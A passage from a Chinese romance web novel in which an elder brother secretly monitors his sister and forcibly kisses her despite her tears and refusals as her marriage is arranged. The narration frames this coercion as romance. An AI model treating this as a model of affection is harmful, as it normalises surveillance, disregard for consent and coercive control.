她实在太不令人省心,稍一无人看管,便是头昏咳嗽喊疼……最初做这个决定时,不过是兄长对幼妹不加掩饰地担忧。 于是从小到大,事无巨细地记录。 直至如今,这抹关心却只能藏在阴影处。 陆祈随意抽出最上方的一侧。 【十七/九十一】 “小姐去了绿坊街,拿药方子递给沈淮安,笑了五次。” “小姐很开心,笑了第六次。” 【十七/一百】 “小姐见到陆子诺,两个人去了街角,小姐上了船。” …… 将小册放回箱中里,陆祈目光落在最右侧的八宝匣子上。这是个更为精巧的小匣子,四面雕花,刻着云纹。 他却没有打开。 站在身后的青竹便连大气也不敢出。 官场之人,但凡走到现如今这个位置的,大多都喜怒不形于色,气质内敛,极少外露。 在青竹眼底,陆祈是最相符的例子。 是情绪平静到寡淡的人,跟在他身边这么多年,青竹也只见过他一两次动怒。 现下他同样平静,站在书柜前侧,背影沐在暖色中。 青竹却想到了还未绷紧的弦。 射击时,长剑搭在弦上蓄势待发,越是紧绷着弦越一击致命。 青竹有些呆不下去。 “哥哥?” 寂静间,身后忽得传来一道甜腻的女声,青竹回眸,见是陆念安趴在门边,正小心翼翼地探头往里看。 手中的东西更烫手了。 虽不知因何事,但小姐的确已闹了好些天脾气了,今日甚连艾蒲也未送来。 却好巧不好的,现下过来求和……只沉思一瞬,青竹果断将手中的东西放下,便立刻退至到屋外离开。 “……” 陆念安有些疑惑地扫了青竹一眼,再回过神时,静立在书架前的人影已经转过身。 他面庞被染上一层霞光,使得神色被虚化有些模糊不清。 陆念安不在去想青竹,紧紧捧着手中的艾蒲往前,有些讨好道:“哥哥。” 她步调急促,素色裙摆在半空中荡漾开,透着一股子殷勤。直至靠近兄长,陆念安止步,一边将手中的艾蒲递出,又唤了一声:“哥哥。” 被捧在手中艾蒲很新鲜,枝叶翠绿,叶上还挂着新鲜的露珠儿。 这并不是今早被遗落下的那一束,而是陆念安回到府后重新缠绕的,有着更澄澈更雅致的清香气。 无意例外都在彰显着她的用心。 这样的态度,陆祈并不陌生。 炎炎热夏,因为多食了盏冰碗以至于头疼时,要这般唤哥哥、被身旁丫头纵着伤还未好就偷跑出去时,要这般唤哥哥、求他将好玩伴带出府听戏时,要这般唤哥哥…… 陆祈漫不经心地放下手中匣子,隔着绮丽晚霞,视线缓缓落在小姑娘发顶。 这一次,他的阿念又是为了谁这般乖巧呢? 最终还是抬手接过那束艾蒲,陆祈松松握着,柔和地凝视着她:“不同哥哥闹脾气了?” “本来就没有,”想到这几日对哥哥的态度,陆念安双颊微红,有些心虚地别开眼,辩解道:“阿念没有同哥哥闹脾气,是哥哥太忙了,忙得我都瞧不见哥哥了。” “是吗?” “可哥哥前些天分明才瞧见阿念的琴,光秃秃摆在园子里,周围却也没个人看着,原是几个丫鬟照顾不周?” 他看向她的目光,转而变得深沉起来,像是柔光中霎然飞过一支凌厉的寒箭,最终化作一声叹气:“真是想见一面阿念都难。” 而不止是练琴时掐着时间,陆念安连千山宛都鲜少再去,平日里听见些风吹草动便如同受了惊吓的兔子,瞻前顾后小心翼翼地转身。 没想到全被兄长看在眼底。 顿时不敢辩解什么了,陆念安有些恼,哼唧道:“还不是……” 又想起自己是来同哥哥和好的,陆念安硬生生将话音止住,语调一转:“哥哥今日去了哪儿?” 这问句并不需要回答,她自然而然地接着往下说道:“阿念今日同母亲去找了柳姨,还吃了黍角,黍角很甜,又去看了龙舟,只是每次都压错了……” 陆祈没什么反应地听着,顺手将手中艾蒲插进一侧的瓶中。 也是这时,陆念安忽得嗅到一股酒香,那被清香压制下的,若有似无地气味正逐渐扩散开来,隐约还带着一丝杏花的甜腻。 她蹙眉,不由得看向正抬起手的兄长,总觉得那股气味,正是从他的身侧散开。 可哥哥分明从不饮酒的。 窗外,最后一丝晚霞逝尽,只余下漫天的灰色,夜晚降至,屋内变得昏暗。 放下艾蒲后,陆祈收回手,此刻没了霞光,他目光冷淡难辨,提醒她:“还有呢?” “还有,还有……”被这般目光看着,思绪彻底打乱,陆念安很快忘了酒的事情,慌乱道:“还有,阿念还想同哥哥商量一件事。” “这样啊,”他朝她走近,低低叹了一声:“哥哥也正巧也想同阿念商量一件事。” 莫名感受到一股厚重的压迫,陆念安好脾气地谦让:“那阿念让哥哥先说好不好。” “还是让阿念先说罢。”他温柔凝视着她,抬手替她抚去耳旁碎发。 “就是,就……”明明放才还觉得没什么,此刻竟有些难以切齿。 这并不是一个草率的决定。 在回来的马车上,陆念安便已同母亲先行商量过了。 大概也有今日受了刺激的原因,陆念安开口时并不带犹豫,她太需要一个决定将从前那些幼稚全部剥离。 只同样都是长辈,不知为何,到了长兄这儿,她反而犹豫。 可明明从小到大,她所有的决定,都是最先告诉哥哥的。 她沉默太久,陆祈却也耐心地等着,片刻后,他垂眸握住她的手。 指腹沿着手背摩挲,他纵容道:“说吧。” “哥哥从前说过,可以让阿念挑一个喜欢的郎君嫁人,”在兄长隐隐地纵容下,陆念安终于一鼓作气,主动道:“那哥哥觉得,就嫁周公子如何?” 说出来好像也没有那么难呢。 陆念安抬眸去看兄长的反应,一边眉眼弯弯地笑起来。 握住她的大手忽得收回。 陆祈双眸中无一丝惊讶,尤为平静且了然地开口:“喜欢他?” 同样的三字,他显然已说过许多遍。 陆念安一愣。 是截然不同地反应。 母亲夸赞她挑得很不错,又告诉她周越此人很合适。哥哥却问她喜不喜欢。 喜欢吗? 哥哥从前好像也问她,以至于陆念安慢慢看不懂这两个字。 她只是觉得,若是嫁给周越好像也很不错。 迷茫了一瞬,陆念安转而点头。 陆祈捻了捻指腹,眸色中带着令人难以窥察深沉,轻笑着:“阿念是想换一座新得宅子、日日拜访别人的母亲父亲?” “听闻周家还有不少姐姐妹妹,若是犯了错,也没有哥哥替你担着了。” …… 陆念安怕生,若是有讨厌的人,她便一刻也不愿接触的。 陆府是她最为习惯的地方,她去过府中的每一处院子,认识府上的每一个丫鬟。 哥哥说得没错。 嫁人是会打破现有的一切。 可既然已经觉得好了,她总是要适应,总不能一辈子呆在家中。 陆念安继续点头。 天色已全然暗下,像被打翻的砚台。他眼中坠着零星的墨点,落寞道:“那哥哥呢?若真嫁去周家,同哥哥怕是一年半载也见不上一面了。” “不会的哥哥,”母亲也这样调侃过她,笑着说一些舍不得她嫁人的话,陆念安便有些着急:“阿念会经常回家看哥哥的。” “而且等哥哥成家以后,就也有人陪——” 本就浅薄的笑意彻底瓦解掉,陆祈面无表情地打断她:“是吗?” 沉浸在思绪中的陆念安愣愣点头,并未意识到落在耳畔的语调,再不复以往平静。 额间鼓起青筋,陆祈看着她,语调是压抑以后的平静:“那阿念也要同他同躺在一张榻上?” “他也会一手握住阿念的腰?被吻时阿念会反抗吗?会像推开哥哥一样推开他吗?” 不给人任何反应的时间,记忆就像江岸上的烟花一样一瞬炸开,陆念安瞪大双眸,只觉得有什么,逐渐清晰起来。 原来她的怀疑从来就不是无中生有的。 “不准说了!” 黑夜中,陆念安眼中带着不加掩饰的陌生,不断朝后退。 他却不太明白地看着她:“害怕什么?不喜欢哥哥说这些?” 书房内没有点灯,一切都是未知的。 眼前人逐渐逼近,陆念安再次被逼到退无可退的角落,细腰抵着长桌一角,疼得低哼一声。 “还是不喜欢哥哥吻阿念呢?”陆祈抬手握住她的腰,嗓音微沉:“阿念很甜,唇瓣会变成樱桃的颜色,只是学不会换气,总是娇气地推开哥哥,让哥哥轻一些……” “不要说了,”握在后腰处的力道加重,陆念安不太舒服地想要挣脱,嗓音中已然带上了哭腔,恳求道:“不要说了哥哥……” “不想让哥哥说,要让谁说?也要他像哥哥一样吻阿念吗?”不知想到什么,他神色冷漠,质问道:“陆念安,回答。” “没有的,不要说了哥哥……”陆念安只是想一个安静一会儿,可耳旁质问声却未曾停止,她从没这般矛盾过。忽然觉得好吵闹,她抬起手想捂住他的唇,这样是不是就听不见任何声音了? 片刻后,黑夜中,有很轻微地一声“啪”落下。皮肉接触的声音尤为清脆。 书屋内重回寂静。 层层黑云散开,夜风透过缝隙钻进屋内,花瓶中的艾蒲晃荡起来,在月光间落下一片黯淡的影。 “我,”陆念安呆呆看着自己的手,感受到极细微地疼痛后,慌张道:“对不起哥哥……” 月光同样映衬着他眉眼,银白色光辉下,男人微微侧过头,脸侧的指印分明,神色变得晦暗起来。 陆念安终于感到几分害怕,指尖颤抖着要收回手,却被握住手背重新抬起来。 “害怕什么?”陆祈拉住她的手轻触在脸侧。 他低头,带着素白指尖划过唇边,细致缱绻地吻过五指。 “……”陆念安说不出话来,甚至已经站不住,另一只手缓缓抵在长桌上,慌乱间不知碰倒了什么,很快听见“啪嗒”一声。 被碰倒在地的金色诏书散开,月光下字迹清晰,她下意识垂眸—— ‘诏曰,闻陆家念安,品行端庄,新科探花郎周越,才情出众,特赐婚约’ 陆念安眼睫微颤,眸间正不断溢出泪花,只是还未看清,便被人抵着下颚被迫仰起头。 他指腹摩挲在她脸侧,不悦道:“阿念,专心些?” 陆祈紧紧蹙起眉,心中隐隐的焦躁,全源于她看向诏令时的神情,下一瞬,干脆附身吻下。 一个十足清醒的吻。 有杏花酒的味道,陆念安尝到了熟悉的酒香气,夹杂着她的眼泪,又咸又甜。 第68章 第六十八章 被连绵雨丝沁润了一整夜的上京,处处泛着浅薄的凉意。 院外水雾浮动,朦朦胧胧看不真切,不知过了多久,磅礴雾气中走出两个影。 陈嬷嬷抬手收伞,雨滴顺着伞面往下滴落,在实木板上晕开一片灰褐色。 此刻有苦涩的药香气从里屋飘散出,陆夫人脚步急促地转身进了屋,还未站稳便是担忧道:“醒了吗?” 分明点着灯,屋内仍一片沉闷,陆夫人侧眸望去,躺在榻上的小姑娘正闭着眸。 她很安静,巴掌大的脸在光下莹润,像是一块了无生气的玉石。 “小姐近日里可有何不快?”这毛病已不是第一回 ,王太医有了些心得,顺了顺胡须叹道:“脉象不稳固,是情绪起伏过大,才一时无力晕厥,好生养几天便罢。” 听见王太医这般说,陆夫人若有所思地低下头,可除了那道还未送来的圣旨,她便想不出其余理由。 只得将秋菊拉过来,陆夫人疑惑道:“昨日回府前,我瞧着念念还并无不对劲,” “去了一趟西院,说是有话要同公子说。”秋菊不敢有什么隐瞒,顺着又将她这几日同公子闹脾气的事一同交待了。 “……” 陆夫人若有所思地低下头,刚要再问些什么时,静躺在榻上的陆念安竟转醒,她迷茫睁开眸,瞧见窗外的一片黑暗后,哑声道:“天黑了?” 缓缓支起身子,屏风前人影晃动,陆念安眼底的迷茫加重:“母亲怎得也来了?” 喉间有些泛痒,话落的瞬间,她止不住地咳嗽起来,眼角溢出些许泪花。 陆夫人上前倒了盏茶递向她:“瞧瞧,昏了一天一夜都迷糊了,念念,这才刚天亮呢。” 黑云压下,连绵雨丝给人一种深夜的暗沉感,陆念安恍恍惚惚看了一会儿,只觉得又晕眩起来,无力地抬手抵住额头。 许是有过前车之鉴,陆夫人唯独怕这孩子生病。 这两年孩子大了些,比起从前,身子骨其实已好了许多,陆夫人目光担忧:“都多久没这般难受过了,可是同哥哥闹了脾气?” 陆念安捧着茶杯的手一僵,那茶盏当即滑落,像从窗外钻进的连绵雨丝,尽数泼洒在薄毯上。 慌忙垂下眼眸,她有些无措地颤着指尖,用力否认道:“没有!” 这样尖刺的声音,屋内余下的几人都不约而同地放下手中事。 气氛顿时有些微妙,陆念安慢慢软和下来,闷声补充:“没……没有同哥哥闹脾气。” 连绵雨丝加重,会看眼色的丫鬟上前,麻利地将那薄毯收走。 陆夫人干脆坐在床榻一侧,叹了声气,了然道:“你兄长也是,别人家的孩子像他这般大时,就没有不成家的,他到好,都这个年纪了还能将妹妹惹生气。” 尤记得两年前也是不告而别,那会儿连她都被气得不清。 思及如此,陆夫人抬手将陈嬷嬷换来:“祁儿可回来了?” 西院的事,陈嬷嬷也不太了解,如实回答:“现下这个时间,公子怕是还在宫里。” 这几日忙碌,光是订婚便要准备许多,加上陆念安晕厥一事,府上小厮丫鬟都忙得团团转。 “家里一堆事还搁置着,妹妹病了也不管,我看着天底下就没有比他还忙碌的人,”陆夫人深深呼出口气,压抑着怒气道:“让人去将他回来。” “不……”正靠在榻上,明显没什么精气神的陆念安忙起身,双手搭在陆夫人腕上,一句“不用”还没说完,却又忍不住咳嗽起来。 没咳几声已是憋得双颊通红,陆念安拍了拍胸口,急得哭腔都出来了:“不用唤哥哥的。” 兄妹两从前不是没闹过脾气,但像今日这般大反应的,却是屈指可数。 陆夫人不得不重视起来,对着陈嬷嬷悄悄挥了挥手,转而试探道:“听府上丫头说,念念是捧着艾蒲去得西院,那是被哥哥凶了?” 陆念安摇头,脖颈低低压下,否认道:“没有。” 窗外太过压抑,磅礴雨雾好似将整座宅院都淹没。秋菊打开火折子,一边将高架上的桃花灯点亮。 顿时,有柔和的暖光静静笼罩着陆念安,陆夫人看着她单薄的肩,凑近拍了拍:“那又是怎么了,连母亲也不能说?” 陆念安只是不知道如何开口。 她惯是逃避的性子,没操过什么心,因为从小到大不论遇上什么,都尽数推给哥哥就好。 可如今带给她矛盾的人就是兄长。 她便只会逃避了。 烦闷间,陆念安缓缓缩回被中,只觉自己又闻到了那股熟悉的冷香,带着令她不能呼吸的强势,直直压迫而来。 可怎么能不是梦而是真实发生的呢? 陆念安越想越委屈,窝在榻上不想说话。 没闷多久,耳边却传来交谈的声音,陆夫人正语重心长地开口:“……小姑娘长大以后都是有脾性的,念念已经及笄,当兄长若要教育,也要注重语气,断不可……” 陆祈抬手将门合上,直至屋外雨雾被完全隔绝后,他侧过身进屋。 还未走近,便是劈头盖脸的几声训斥落下,他面色不改,不疾不徐地抬步往前,平静地有些寡淡。 “……都多大了还和小姑娘计较,念念本就身子骨不好,过几日又是订婚宴,这下是要推迟几日养养身子了,你是兄长,先进屋同你妹妹道个歉。” 终于走近,高大身躯遮掩住多数光线,陆祈止步,垂眸看向前方。 陆念安也正掀开薄被探头往外看,乌发乖顺地搭在肩侧,有些遮挡住眼前视线,她抬手拨开,看清眼前的影后,像只受了惊吓的兔子一般,忙重新缩回去。 王太医上前递来碗药:“大人,平稳脉象的药方子,今日还未用过。” 陆祈应了声,接过瓷碗,修长骨指压在勺上,没有说话。 陆夫人起身给他让位置,叮嘱道:“陆家没有官场那一套,好好同你妹说话。” 雨势加重,赶回北院的这一段路,他衣摆间沾染了不少水汽。 靠在榻边,陆祈用瓷勺散着热气,就像兄长关心妹妹一般:“阿念还有何处不适?” 他语调不同于往日的冷淡,落在耳边,是柔和温润的。 就好像还和从前一样。 陆念安没有说话,抗拒地侧过身,扯住薄被的手也不由得紧了紧。 “……” “置气无事,药却是该喝的。”陆祈面色不改,一手端着药碗,一手掀开薄被。 他手掌宽大,指骨修长分明,绕过陆念安的脖颈往下,轻松地将她从被中捞出来。 失去了最后遮掩,陆念安不太情愿地低下头,当下凌乱的乌发松松垮垮。 陆祈用瓷勺搅动汤药,慢条斯理地递过去:“试试。” 瓷勺抵在唇边,淡淡的苦涩被晕开。 陆念安皱起眉,用力推开他手腕,娇气道:“不要你喂我。” 他没什么反应,安抚地摸了摸她的头,重新将瓷勺递去,语调柔和:“试试。” 陆祈有一对平静的眸,没什么弧度,眼底仿佛是一池深潭,沉静而寡淡。 就像现在,明明就做了很过分的事情,却还能像是什么也没发生过一般。 “你……”怎么能这样,这样的态度,霎那间衬得她有些无理取闹。 陆念安有些恼了,这一次,她更为用力地将人推开,带着十足抗拒。 措不及防,男人劲实有力的腕骨一晃,药汤倾斜着散落,很快泼洒在腕上。 陆祈终于有了反应,将瓷碗递给一旁丫鬟,他抽出绸帕擦拭着腕骨。 陆念安愣愣看着。 他一顿,用指腹捻起绸帕递给她,询问:“阿念想帮哥哥?” 那药汤倾斜散落的一瞬便被拿远,只陆祈的腕骨连带着袖摆受了波及。 此刻湿润覆在青筋凸起的位置,正不断往下滑落。 “都说了不要你喂了。”陆念安没什么底气地低哼了句。 吩咐王太医重新煎了碗药,陆祈回过头。 屏风旁是桃花灯架,烛光透过浅粉色琉璃,明晰的光亮落在陆念安肩侧,映照出一片单薄来。 她身着的寝衣也尤为单薄,不过几片薄纱缝制于一起,堪堪盖在身侧,勾出娇媚的身姿来。 确实很不一样。 从前只是拽一拽妹妹的衣领,就能将她整个人提起来。她喜欢扑腾着往他怀里扑,叫哥哥再将她举高些,可若是举太高,又该害怕了。 浅粉烛灯笼罩着榻边,幼妹轻纱之下的肌肤莹白细腻,娇气地只叫人稍稍用力便留下痕迹。 陆念安缩了缩,一脸防备。 他缓缓收回目光。 是长大了,也知道防备哥哥了。 陆夫人站在后方,只看见两道被虚化的影。 其实兄妹两关系不好,她反而是最着急的。 陆念安被领回陆府的头一年,陆夫人沉浸在丧夫的悲痛中。 底下的丫头偷懒她不是不知道,却也还是懒得过问,放任了没多久,陆念安便大病一场,几经死去。 从此带着愧疚同弥补之心,一晃也十多年过去了。 陆夫人叹息一声,开口:“念念,你兄长对你,其实是要比我对你好的。” “刚来陆府时你不适应,奇怪的毛病也多,不会说话不会喊人,夜里又总是往外跑。” “也是你哥哥有耐性,每晚都跟着你,每日还要抽空来检查你有没有喝药,有没有磕着碰着……比我当年带他都细致。” 这些年过去,陆夫人早已是将陆念安当自家孩子看待的,自然也喜和气。 刚要在劝劝两人,陈嬷嬷推开门走近,笑道:“听闻小姐病了,周夫人还亲自过来送药,方才刚下马车。” “怎得还先来了。”赐婚以后,陆夫人也有想拜访亲家的想法,这下顾不得旁得便要走,临走前匆匆看了兄妹两一眼:“一家人总归没有隔夜仇,祈儿你快同妹妹认个错。” 门打开又被合上,屋内重回寂静。 王太医很快端来重新煎好的药,陆祈接过瓷勺一同递给她,顺从道:“那阿念便自己喝罢,昨日让王太医改了方子,试试还苦吗?” 他骨质匀称分明,白瓷盏在他手中,被衬得精巧,耐心地等人接过。 “……” 陆念安还是抬手接过了瓷碗。 她太听劝了。 陆夫人说完那话以后,她其实便已经有些动容。 不只有血浓于水才是真正的亲人,同陆家的关系,的确在往前岁月里,丝丝缕缕牵扯在一起,变得密不可分,不可剥离。 她显然也不能闹一辈子脾气。 陆念安不在抗拒,捏起瓷勺乖乖喝药。 感受到兄长落在身侧的目光,轻飘飘的,很柔和。 就和从前一样。 所以就像现在这样就很好,一切都还和从前一样。 陆念安在心底默默替哥哥找了一个理由,抬起湿润泛红的眼眸,小心翼翼且有商有量地开口问他:“那哥哥以后可以不像那夜一样了?” 她分明害怕的很,纤细脖颈轻颤着,还要佯装淡定,用那对澄澈的眸子瞧着人,天真以为可以得到自己想要的回答。 “哪夜?”陆祁神色微暗,不疾不徐地反问她:“哥哥又如何了?” “我……” 陆夫人不清楚,那哥哥自己还能不知道吗? 陆念安被气得不轻,深深吸了口气,泛红的眼眸被逼得湿濡起来,却磕磕绊绊说不出个所以然。 指尖忽得有些泛痒,陆祁屈起指骨捻了捻,压下眼底深色:“阿念不说,哥哥怎么知道?” 这语气不似作假。 从前就是这样,只要她说出来,哥哥都会依她的。 陆念安信以为真:“那哥哥不要欺负阿念了。” “哥哥骨头好硬,压得我好疼,手也很硬,不准在捏我的腰,都捏红了……”她嗓音越来越轻:“也不许再亲我,不许……反正不许欺负阿念。” “这样我们就和好,阿念就当什么也没发生过。” 娇气地抱怨完,屋内重回寂静,淡淡烛光笼罩着两人,映衬而下的影正交融在一起。 她乖乖捧着瓷碗,眨眼时杏眸一闪一闪的,天真乖巧地等待回应。 好像一块十足甜香软糯的糕点,让人戳一戳,捏一捏,留下道痕迹也没关系,不过几刻,便自己恢复至原样,又主动凑上前,细声细语地说真的不吃我吗?我好甜的。 “这样啊。” 静坐在榻边的男人,白衣清雅,气质冷清,忽得轻笑起来:“那若是不和好,阿念又要如何?” 塌边传来细碎的动静,烛光明明灭灭,陆祁凑近,泛痒的指腹如愿触上她脸颊,捏了捏。 她双眸呆愣,像是还没反应过来。 于是那指腹贴着脸颊滑落,最终覆在殷红的唇瓣之上,极轻地描绘起来。 很凉,很痒。 陆念安后知后觉地回过神,眸间覆上了一层惊恐。 屋内寂静,几个小丫鬟早已跟着陆夫人离开,高架上桃花灯柔和,落在白玉屏风上,落在乌木小几上,伴随着窗外淅沥的雨声,一派平和。 床侧边却透不进一丝亮光,男人高大的身驱俯下,落下一片阴影,仿若将她困在这方寸之地。 陆念安莫名紧张。 这样的亲密,从前不是没有,可是哪里不一样了呢? 他描绘在她唇瓣上的力道加重,片刻后,抵着她下巴抬起:“阿念想如何?” 就算哥哥欺负她,她能怎么办? 陆念安也这般问自己,于是越想越委屈,越想越愤愤不平,不争气地呜咽一声。 一门之隔的屋外,磅礴水雾弥漫,雨气中陆夫人同陈嬷嬷一同走回。 刚同周二夫人告别,陆夫人手中多出个药篮子,面露笑意。 雨中水汽重,尽管小心翼翼,裙摆间也不免染上了几分湿意。 屋子里还有病人,几个人不好直接进屋,便先用棉帕擦了擦水渍。 接过小丫头递来的软帕,陈嬷嬷也替陆夫人擦了擦肩:“今日雨水重,麻烦周夫人还亲自将药送来。” 廊外大雨磅礴,陆夫人看了看雨,又看了看这满篮子的珍稀药材,感叹:“原以为周家多多少少会有些傲气,毕竟也是皇后的母家,今日一看,这二夫人性子到还不错,是个好相处的。” 在珍稀的药材对于现在的陆家来说,也算不上什么。 可贵的是这份心,今日雨这般大,过来一趟的确也是麻烦。 “是呐,一听说小姐怕药苦,还特意送药材过来,”陈嬷嬷也笑:“听闻周公子是好不容易才被找回去的,周家人重视一些也好,等小姐嫁过去,夫人和公子也能放心……” 几道声音传进里屋时,同雨声交织在一起,已经变得浅淡。 陆念安愣了愣,想起那日无意瞥见的召令。 都……都知道了吗? 决定好婚事和定下来婚事是完全不同的 她思绪不由得飘远,心思也渐渐不在屋内。 正胡思乱想着,脖颈间忽得有些泛痒。 陆祁一瞬凑近,温热呼吸喷洒在她耳畔,带着侵略的压迫将她完全笼罩。 呼吸贴着呼吸,他瞧见她眼底分明的害怕,语调沉沉:“妹妹,同哥哥说话时专心些,很难吗?” 从小就是这般,练剑时轻易被园中的野花吸引,写字时也不专心,一会儿看看字画一会儿摸摸花瓶…… 所以院子要里越空荡越好,要让人将那些花全部拔掉她才会专心,书房内任何有色彩的物件也都丢掉,只留下晦涩的书册,这样她才会将视线安分落在笔下。 他的阿念,总是轻易就被旁得吸引。 亦或是此刻,只听见个周字,就眼巴巴凑上去,什么也不管了。 他抬眸端详她泛红的耳根,圆润的耳垂也泛着粉,却是因为旁人在害羞。 “阿念真的很不乖。” 陆祁气极反笑,张唇含住她的耳垂,像情人般耳鬓厮磨亲密无间。 可他是长兄,是长大以后,便不再亲密无间的哥哥。 她双手推开他。 这一次,不光是耳根,陆念安羞得涨红了脸,很快就像熟透了水蜜桃一样诱人。 见她这般,他笑意却加重,冷清的眸间多出一丝欲念,“方才让阿念试药,如何,还觉得苦吗?” 话题转变的太快了。 陆念安纤长眼睫上挂着泪珠,泪眼朦胧地摇头,苦死了。 “是吗?”他认真凝视着她,一手压在她后脑的位置,提醒:“阿念,呼吸。” 耳边夹杂着雨水的交谈声渐渐止住,害怕是陆夫人要进屋了,陆念安早已经紧张忘了呼吸。 呼吸?红唇微张,她下意识深吸一口气。 陆祁欺身压下,带着不容人反抗的侵略,含住她的殷红的唇。 忧思她被气极了又晕过去,他只是克制的啄吻,很快被小姑娘用尽双手推开。 “嫌哥哥喂得药苦那要喝谁的?”他显然也听清方才门口的交谈,眼底正翻滚着暗色:“小没良心,一点东西就将你打发了,我就是教养你的?” “不是……” 陆念安欲想反驳,却被重新堵住了唇,连晶莹的舌尖也勾住。 陆祁高挺的鼻尖蹭在她脸侧,她口中有甜腻的汁水,说是咬开熟透了的桃子也不为过。 她已然晕乎乎,连反抗的力气也全无,只在听见门口的动静后,破碎地呜咽起来。 片刻后,陆祁才压抑着喘息将她松开。 “小骗子,分明就是甜的。” 第69章 第六十九章 夏日的雨时大时小,渐渐平息,变得柔和起来。 置于角落的油纸伞却重新被拾起,见陈嬷嬷撑伞走进雨中,陆夫人轻叹息一声,也跟了上去 :“既有祈儿守着,那便先去躺库房瞧瞧罢了。” “这一忙便是要忙起来的,日子订这般快,我还真是有些舍不得。” 圣旨赐下才没两天,现下宫里又传来消息,意思是挑个时间先将婚期定下来,这日子一定,可不是就快了。 嫁人毕竟不是随随便便的小事,其中要准备的东西是多了去了,陪嫁礼单都是该要清点的,若缺了什么,也得提上时间置办。 撑伞走进雨中,小雨淅淅沥沥,没走进步,听见身后传来一声清脆的响,像是有什么被摔落在地。 陆夫人步调一顿,心下疑惑兄妹两又是怎么了,随意唤了个丫头去瞧瞧。 一门之隔的屋内,陆念安刚松口气,便又重新紧张起来。 铺在地上薄毯方才被丫鬟收走了,空荡的瓷碗此刻摔落在地,碎掉的瓷片崩散裂开落了一地。 房门很快被推开。 进屋的是个小丫鬟,看着一地瓷片,她有些担忧地走近屋内:“秋菊姐姐去库房了,小姐可有哪里不适,要唤人王太医来看看吗?” 床榻上有些凌乱,顺滑的薄绸皱巴巴散在边侧,却瞧不见陆念安的人影。 小丫鬟刚要走近,不知看见什么,忽得止步不敢上前。 屋内寂静,檀木架子床前立着一道身影,明晰暖光落在他身侧,高大身躯后落下一片影。 陆祈面无表情地朝前方看去,神色疏冷而凌冽。 小丫鬟被吓了一跳,顿时结结巴巴就连话也说不出来了。 而被这黑影笼在其中的小姑娘,无力地靠在榻边,那双泛红的,可怜的眼眸像是被欺负地狠了,抽泣间都被带上了几分娇色。 并未注意到小丫鬟的惊慌,躲在后方的陆念安揉着眼,一边又往里面缩了缩,才闷声回答:“没,没有不适。” “……”那丫鬟还想说些什么,颤了颤却转过身,哆嗦了声:“那,那小姐有什么不适记得唤福儿。” 秋福很快退至到门外,又缓缓将门合上。 屋内重回寂静,察觉到渐浓的压迫感,陆念安默默将绸被铺开,再自顾自钻进去,只将圆鼓鼓毛茸茸的后脑收露出来。 那药确实是甜的……但,但哥哥怎么能这样欺负她呢? 一个人藏在被中,陆念安用指尖去轻触唇瓣,那里湿濡肿胀的不成样子,像是被碾碎的樱桃,一同被碾碎的,还有她刚为兄长想好的理由。 不应该是这样的。 哥哥应该要回答好,回答以后都不欺负阿念了。 她,她也会原谅哥哥。 就和从前一样,一切都要回到从前一样才好。 可全都乱了。 心口酸酸的很痒,陆念安感受到十足的迷茫,就像兄长方才问得那一句——若是不和好,她要怎么办呢? 一切回答都变得苍白,半响后,陆念安犹豫着将藏在薄被下的双眸露出,两眼泪汪汪地看向陆祈。 那人却同没事人一般,静静站在一侧,双眸平和。 她很快瞪大双眸,自以为凶狠和恼怒地威胁道:“我不要哥哥了。” 陆念安是在回答方才的问题,被气得涨红的双颊鼓起来,她强调:“以后都不要你做我的哥哥了。” 对陆念安来说,这已是天大的威胁。 就像如果有一天,要她完全同陆家撇开干系,她一定会难过到不知所措。 话音刚落,却听见耳边落下一声:“好。” 陆祈垂眸看向她,狭长的眸中甚染上几分笑意:“不想当妹妹,那阿念在陆家,又是以什么身份呢?” 抛却掉冷淡后,他眉目变得柔和,刻意曲解的回答,就像是调情一般落下。 陆念安后知后觉明白他的意思,一时气急:“你,你……” 一连说了好几个你也没憋出来一句像样的回答,陆念安披着被子支起身,被气得快要都喘不过气:“那你出去。” 几乎没人会用这般语气同陆祈说话。 身处的位置越高,权势越来越重,身边便只剩下恭敬的客套。 从塞北回来,亦是手握军令,连天子同样会感到忌惮。 若不当她的哥哥,他的身份从不会被削弱半分。 陆念安意识不到这一点。 她是被兄长被惯着长大的妹妹,亦只有她敢在陆祈面前发脾气撒泼,娇纵道:“出去出去出去!我不要你!” 习惯性用大声说话来掩饰慌乱的这个脾性,到是从未变过。 陆祈静静看着她,面对她的怒气,更是平淡到只字未言。 不知自己已被看透的陆念安便更气了。 缓慢移动到床榻的边缘,她双手抬起,用了很大力气想将眼前人推开。 用力往前推的同时,整个上半身都腾空起来,陆念安没有在意,只是一味地推开他。 软绵绵无骨的手落在他腕上,陆祈蹙起眉,毫不费力地将她双手收拢,警告道:“陆念安。” 转瞬间,他声音已如坠冰窖般冷漠:“别乱动。” “……” “欺负我还凶我?”陆念安不可置信地瞪大眸,今日本就精神气不好,她很快便无措地抽泣起来,用带着哭腔地语气再次强调:“我真的讨厌你。” 脚下是一地破碎的瓷片,锋利的边缘映出几分寒光来,陆祈踩着瓷片往前,面色显然算不上好。 方才的柔和像是在陪她玩闹一般,他收紧力道,一边眯起双眸。 抬手绕过她的膝下,陆祈连人带薄被的一同揽进怀中,强势的力度,将那些反抗也一同压下。 陆祈抱着她往前走,隔着一层薄被,两个人正严丝合缝地贴在一起。 陆念安不太适应地动了动,可本就娇小的个子,在被男人不加掩饰地藏进怀中时,连反抗都像是撒娇。 扭着腰终于从薄被中出来:“放,放开……” 从前不是没有这般抱过她。 但小姑娘显然大了些,也更加不安分。 窗外雨声嘀嗒嘀嗒的,陆祈改为单手抱着她,稳步走过金漆点翠屏风的同时,他抬手拍了拍她的臀。 她愣了愣,忍不住反抗地更加剧烈。 陆祈不轻不重地又拍了她一下,才将她放在右侧的书桌上,淡声问道:“喜欢摔东西的脾性是同谁学的?” “我……”陆念安才想起那些瓷片,两眼泪汪汪地抬起眸子:“我不是故意的。” “绣鞋又踢去了哪里?”他沉沉看着她,一手探下去,冰凉指腹划过纤细的小腿,转而握住她的足:“连足衣也不穿,若是踩上去或是划破了哪里,又想让谁心疼?” 眼泪早就没用了。 陆念安吸吸鼻子,胡乱抹掉眼泪,此刻明明害怕到了极点,还要嘴硬地顶嘴道:“你又不是我哥哥,要谁心疼都不要你。” “是吗?”他极轻地笑了笑,粗指抚在她娇嫩足上,似是回忆:“是谁从前去家宴上被欺负,委屈巴巴抱着我腿说要一辈子不分开,是谁手上划破了个小口子就哭着呜咽着要哄,我替你上药还无用,要吹一吹才满意……” “说说从小到大,哪次不舒服不是我抱着你哄着你,怎么,现下长大了,就迫不及待要拉开距离?” 